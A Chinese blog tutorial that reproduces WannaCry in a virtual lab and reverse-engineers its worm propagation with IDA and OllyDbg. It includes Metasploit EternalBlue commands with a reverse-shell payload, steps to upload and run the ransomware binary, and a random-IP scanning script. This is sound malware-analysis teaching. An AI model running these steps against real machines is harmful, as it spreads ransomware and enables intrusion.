[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了宏病毒相关知识,包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆向分析蠕虫传播部分,详细讲解蠕虫是如何感染传播的。同时,由于作者技术真的菜,只能叙述自己摸索的过程,如果存在错误或不足之处,还望告知。希望这篇基础性文章对您有所帮助~

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第1张图片

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.WannaCry背景
  • 二.WannaCry实验复现
  • 三.WannaCry基础分析
  • 四.WannaCry传播机制详解
    • 1.WannaCry蠕虫传播步骤
    • 2.连接域名
    • 3.安装和启动mssecsvc2.0服务
    • 4.局域网和外网传播
    • 5.利用SMB漏洞
    • 6.Payload分析
    • 7.ShellCode提取
    • 8.APC注入
    • 9.释放勒索程序
  • 五.总结

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Wannacry分析:https://github.com/eastmountyxz/WannaCry-Experiment


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.WannaCry背景

WannaCry应该称为蠕虫,而不是病毒,但大家习惯称其为WannaCry勒索病毒,这里提醒下。

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第2张图片

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@[email protected]显示勒索界面。其核心流程如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第3张图片

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息


二.WannaCry实验复现

实验环境:

  • 攻击机:Kali-linux-2019.2 IP:192.168.44.138
  • 受害主机:Win7 64位 IP:192.168.44.147

实验工具:

  • metasploit
  • MS17-010
  • Wcry.exe

实验步骤:

  • 配置Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
  • 上传勒索病毒wcry.exe并运行
  • 实现勒索和文件加密

切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验比上一篇文章精简很多,更推荐该方法。


核心步骤:

(1) 利用永恒之蓝漏洞并设置参数

  • use exploit/windows/smb/ms17_010_eternalblue
    利用永恒之蓝漏洞
  • set payload windows/x64/meterpreter/reverse_tcp
    设置payload
  • set LHOST 192.168.44.138
    设置本机IP地址
  • set RHOSTS 192.168.44.147
    设置受害主机IP
  • set RPORT 445
    设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
  • exploit
    利用漏洞

在这里插入图片描述

(2) 获取Win7系统管理员权限并上传勒索病毒

  • getuid
  • pwd、ls、shell
  • upload /root/wcry.exe c:\
  • wcry.exe

在这里插入图片描述


(3) 成功完成勒索,系统文件被加密
运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

在这里插入图片描述


加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述



三.WannaCry基础分析

接下来开始对WannaCry样本进行分析,恶意样本一定要在虚拟环境下做好保护措施再进行分析。通常拿到一个软件先试着运行软件,如果有帮助文档查阅帮助文档,熟悉软件的基本用法,接着尝试输入错误的注册码,观察错误提示。如果没有输入注册码的地方,要考虑是否是读取注册表或Key文件,这些可以用其他工具来辅助分析。


第一步,调用PEiD检测程序是否加壳。
拿到一个样本,先调用查壳软件检查程序是否加壳(如PeiD、FI),有壳的需要脱壳之后再调用OllyDbg分析调试,无壳的直接调用工具调试。具体过程如下,该病毒使用VC6无壳编写的。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第4张图片



第二步,通过在线沙箱网站监测该病毒详情。

  • 病毒名称:Trojan-Ransom.Win32.Wanna.m
  • 所属家族:木马/勒索/蠕虫
  • 大小: 3514368 bytes
  • 修改时间: 2017年5月13日, 2:21:23
  • MD5: DB349B97C37D22F5EA1D1841E3C89EB4
  • SHA1: E889544AFF85FFAF8B0D0DA705105DEE7C97FE26
  • CRC32: 9FBB1227

方法一:visualtool上传文件在线监测(https://www.virustotal.com/gui/home)

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第5张图片
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第6张图片

方法二:微步在线沙箱搜索MD5(https://s.threatbook.cn/)

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第7张图片

多引擎监测信息如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第8张图片

行为签名信息如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第9张图片

静态信息如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第10张图片



第三步,我们将“.exe”修改为“.zip”可以看到更为详细的信息。
直接用资源工具看一下,发现是PK开头的,多半是个压缩文件了,导出来试试。样本的解压密码是WNcry@2ol7,通过资源工具也可以查看到。解压后的文件结构如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第11张图片

msg文件夹下就是所有的语言包。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第12张图片

其他文件内容如下,下一篇文章会详细介绍勒索原理。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序


第四步,推荐安全厂商及大佬分析报告。

为了更好帮助读者,作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章,强烈推荐大家阅读,作者也吸取了它们的精华,在此感谢。

  • 安全厂商样本分析:
    [1] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
    [2] [分享] 勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒安全
    [3] WannaCry勒索病毒详细解读 - 腾讯电脑管家
    [4] NSA Eternalblue SMB 漏洞分析 - 360核心安全
    [5] 针对WannaRen勒索软件的梳理与分析 - 安天
    [6] 【权威报告】WanaCrypt0r勒索蠕虫完全分析报告 - 360追日
    [7] WannaCry勒索病毒分析报告 - 瑞星

  • 安全大佬样本分析:
    [1] 对WannaCry的深度分析 - 鬼手56(勒索部分详解)
    [2] [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
    [3] [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang
    [4] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
    [5] WannaCry勒索病毒逆向和内网传播数据分析 - sec360zz
    [6] 首发 | Wannacry勒索软件母体主程序逆向分析(含临时解决方案自动化工具)- expsky
    [7] [原创]WannaCry深度详细分析报告(很细很深)- anhkgg
    [8] https://github.com/rapid7/metasploit-framework

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第13张图片



四.WannaCry传播机制详解

WannaCry蠕虫主要分为两个部分:蠕虫部分用于病毒传播,并释放出勒索病毒;勒索部分用于加密用户文件索要赎金。大家可能看到的很多样本都是没有传播部分代码或域名开关的。接下来是作者一点点的摸索,希望对您有所帮助,也欢迎批评和指正。


1.WannaCry蠕虫传播步骤

WannaCry运行的整体流程推荐安天公司的框架图,如下图所示:

  • 主程序文件利用漏洞传播自身,运行WannaCry勒索程序
  • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
  • @[email protected]显示勒索信息,解密示例文件

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第14张图片


其中,图中上半部分为WannaCry蠕虫的传播部分,该蠕虫通过网络进行传播,有自我复制和传播迅速等特点。传播步骤如下:

  • 连接远程域名
  • 安装并启动服务
  • 建立局域网或公网IP表,为每个IP依次创建线程
  • 尝试连接445端口,测试是否存在SMB漏洞
  • 如果存在漏洞,则发送包含动态库的Payload进行攻击
  • 执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe
  • dll调用导出函数PlayGame,释放资源文件并保存为mssecsvc.exe执行,释放勒索程序tasksche.exe
  • 被攻击计算机继续使用MS17-010漏洞进行传播


2.连接域名

接着在虚拟机中用IDA Pro打开勒索病毒wcry.exe,进行静态分析。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第15张图片

主程序运行后会先连接域名(KillSwitch):hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

  • 如果该域名连接成功,则直接退出且不触发任何恶意行为
  • 如果该域名无法访问,则触发传播勒索行为

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第16张图片

目前该域名已被英国的安全公司接管,代码如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第17张图片



3.安装和启动mssecsvc2.0服务

如果该域名无法访问,则安装mssecsvc2.0服务,服务的二进制文件路径为当前进程文件路径,参数为“-m security”,并且伪装成微软安全中心服务。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第18张图片

接着启动mssecsvc2.0服务,网络传播行为需要以服务启动才会触发。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第19张图片



4.局域网和外网传播

蠕虫服务启动后,如果目标主机445端口开启,则会利用MS17-010漏洞传播,传播分为局域网传播和外网传播。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第20张图片

上图为火绒注释过版本,下图为作者利用IDA Pro分析原始wcry.exe的代码。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第21张图片

(1) 局域网传播: 蠕虫根据用户内网IP,生成覆盖整个局域网网段表,然后循环依次尝试攻击。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第22张图片

定位函数sub_407540如下。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第23张图片

样本会首先判断是否处于内网环境,如果处于内网中则尝试对内网主机进行感染,进行判断内网 I P 段分别是:

  • 10.0.0.0 ~ 10.255.255.255
  • 172.16.0.0 ~ 172.31.255.255
  • 192.168.0.0 ~ 192.168.255.255

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第24张图片


(2) 公网传播:随机生成IP地址,尝试发送攻击代码。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第25张图片

随机生成公网IP,然后尝试连接445端口,判断是否可以利用SMB漏洞(MS17-010)。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第26张图片

下面给出一段安天的模拟IP代码,这段代码可供大家扫描IP使用。核心思想是通过随机数生成算法,生成4个随机数并拼接,再开线程进行漏洞利用。

from win32api import *
import random
import time
random.seed(GetCurrentThreadId() + time.time() + GetTickCount())
firstTick = GetTickCount()

while True:
	ip_1, ip_2, ip_3, ip_4 = 128, None, None, None
	flag1, flag2 = None, None
	while ip_1 == 128 or ip_1 >= 224:
		ip_1 = random.randint(0, 255)
		ip_2 = random.randint(0, 255)
		ip_3 = random.randint(0, 255)
		ip_4 = random.randint(0, 255)
		time.sleep(1)
		
 	while ip_4 <= 255:
 		print str(ip_1) + "." + str(ip_2) + "." + str(ip_3) + "." + str(ip_4)
 		ip_4 += 1


5.利用SMB漏洞

主机IP地址探测成功后,会利用SMB漏洞(MS17-010)发起攻击。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第27张图片

网络传播过程会建立Socket通信,并进行网络连接和传播。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第28张图片



6.Payload分析

样本在利用漏洞MS17-010获取目标主机权限后,并不会直接发送蠕虫自身到目标,而是发送一段经过简单异或加密后的Payload到目标机器中执行。Payload由shellcode和包含样本自身的dll组成,Payload分为64位与32位。

Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。一个攻击代码发送的字节序列往往同时包含payload和shellcode代码。
整个字节流一般包含两个部分:(1) 一个包含部分代码的字节序列,被送入目标计算机执行,辅助攻击机获得控制权,比如打开目标计算机上的端口或者建立一个通信信道。(2) 一个用于实现在目标主机上运行某个应用程序如cmd或者计算器(常用于poc–概念验证)等。

那么,如何定位shellcode的起始位置呢?

  • 64位的Payload由长度为0x1800字节的shellcode与长度为0x50d800字节的dll组成,64位的shellcode部分截图如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第29张图片

  • 32位的Payload由长度为0x1305字节的shellcode与长度为0x506000字节的dll组成,32位的shellcode部分截图如下:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第30张图片

Payload版本选择代码如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第31张图片

(1) 首先,需要读取Payload内容,其中64位大小为0xc8a4,32位大小为0x4060。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第32张图片

(2) 调用sub_4072A0函数建立通信连接。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第33张图片

(3) 根据目标机器系统的不同,读取不同版本的代码部分,再获取样本自身进行拼接得到完整的dll。dll同样分为64位与32位版本,由代码与样本自身两部分组成。

  • 64位的dll文件(代码部分长度0xc8a4字节):

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第34张图片

  • 32位的dll文件(代码部分长度0x4060):

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第35张图片



7.ShellCode提取

当IP地址和445端口开启确定后,需要利用SMB漏洞发送Payload。此时,Payload已经建立了通信连接,接下来需要提取ShellCode,这也是蠕虫传播干扰的核心部分,但也是最难的部分。作者至今也分析得不透彻,希望得到您的帮助,下面简单叙述当前的理解。

看雪两位大佬说过:Wannacry的shellcode分三层,第一层的功能开一个后门,执行攻击者的后续命令;第二层、第三层一起完成注入dll的任务在执行其他操作。

[原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
[原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang

它们的调用位置如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第36张图片

那么,怎么分析这些shellcode,如何在OD中提取机器码和连续的shellcode呢?如何定位Shellcode起始位置呢?感觉自己真的菜,求教~
推荐作者github详细的WannaCry资源: https://github.com/eastmountyxz/WannaCry-Experiment

第一种方法是通过IDA Pro定位shellcode位置,按C进行反汇编,如下图所示。
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第37张图片

第二种方法是在OD中定位,输入结果却是建立通信的过程。Payload通常由分析函数、建立通信(Send\Recv)、返回地址、shellcode组成,当漏洞触发时,该部分就是shellcode的起始位置,我们需要找到这个点。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第38张图片

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第39张图片

我们想要的shellcode类似如下图所示,但作者能力有限,后面继续深入吧!

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第40张图片

同时,作者提供另一个思路,前面讲解了永恒之蓝利用,这里我们获取它的Payload利用代码,发现里面的shellcode,如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第41张图片

然后复制这段shellcode代码至OD中,二进制粘贴,可以看到对应的汇编代码。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第42张图片

如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第43张图片



8.APC注入

漏洞利用成功后,执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第44张图片

核心函数sub_406F50如下图所示:

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第45张图片



9.释放勒索程序

dll具有一个导出函数PlayGame,它会将自身的资源文件(主程序)释放到被攻击的计算机,保存为C:\WINDOWS\mssecsvc.exe并执行。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第46张图片

最后释放资源tasksche.exe(勒索加密功能)到C:\WINDOWS目录下,并将其启动。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第47张图片

使用火绒剑检测结果如下图所示,看到释放的lsass.exe、mssecsvc.exe和tasksche.exe程序。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第48张图片

被攻击的计算机包含蠕虫的完整功能,除了会被勒索,还会继续使用MS17-010漏洞进行传播,这种传播呈几何级向外扩张,也是该蠕虫短时间内大规模爆发的主要原因。

[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向_第49张图片



五.总结

写到这里,这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制,后面作者会继续分享勒索部分的机理,希望您喜欢~

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-04-27 晚上6点写于贵阳 http://blog.csdn.net/eastmount/ )


你可能感兴趣的:(网络安全,漏洞挖掘,渗透&攻防,系统安全,WannaCry,蠕虫,IDA逆向,分析及防御)